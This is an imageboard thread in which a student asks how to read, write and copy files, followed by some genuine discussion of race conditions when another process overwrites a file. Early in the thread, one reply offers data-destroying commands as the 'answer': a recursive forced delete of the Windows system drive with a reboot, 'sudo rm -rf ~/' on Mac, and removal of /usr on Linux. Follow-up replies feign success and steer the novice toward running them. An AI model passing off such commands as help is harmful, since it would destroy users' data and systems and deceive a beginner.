So, /g/, the semester is heading to its end and I still don't even know how to read data from a goddamn file. What is a correct algorithm to do it?
What about writing to a file and copying/moving it?
>>60641556
what language?
>>60641556
Windows:del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
Macintosh:sudo rm -rf ~/
GNU+Linuxrm -rf /usr /lib/nvidia-current/xorg/xorg
>>60641615
html
>>60641615
Doesn't matter. I just won't the method of solving the problem, not a concrete implementation.
>>60641687
s/on'/an/
>>60641653
Thanks I think it's wor
>>60641653
This is right. But they left out the most important part: if windows click the start button and search for terminal, if Linux search for "cmd".
>>60641687
It's a pretty language dependent idea, but the general idea is the language provides a function that will interface with the OS for you and returns some kind of pointer (or whatever your silly language calls it to not scare brainlets) and then provides a number of functions to work with the file. Read a line, character, whole file, append, prepend, etc. You'll have to read your language's documentation.
>>60641754
>open a file
>get a pointer
>start reading the file with whatever functions the language offers
>another process kicks in
>overwrites the file
>get bullshit for data
>>60641739
Thanks found the terminal
Bump.
It's a pretty complex problem so please take your time.
>>60641754
lol you fell for a meme
>>60641556
idk i'm just posting cuckerberg
>>60641790
>not making defensive copies
you deserve it desu
>>60642413
How does the copy prevent me from getting shit for data?
>backup process copies the file
>open the file
>start reading it
>another process overwrites it
>get shit
>also the backup now stores outdated data
>backup process copies the file
>notice there's the backup copy
>be smart and open the backup instead of original file (I haven't seen any program actually doing so, obviously because it's not a solution)
>another process overwrites the file
>start reading
>backup process kicks in
>the copy is now outdated, time to make a new one
>backup process overwrites the copy you're reading
>get shit
>>60642413
>>60642582
>open both the backup and the original file
>start reading
>one of them gets modified by another process
>one of them is now bullshit and you don't know which one
>also you're at least 2 times more prone to this problem because you read twice the data
>>60641739
Thanks, it does work in Windows 10.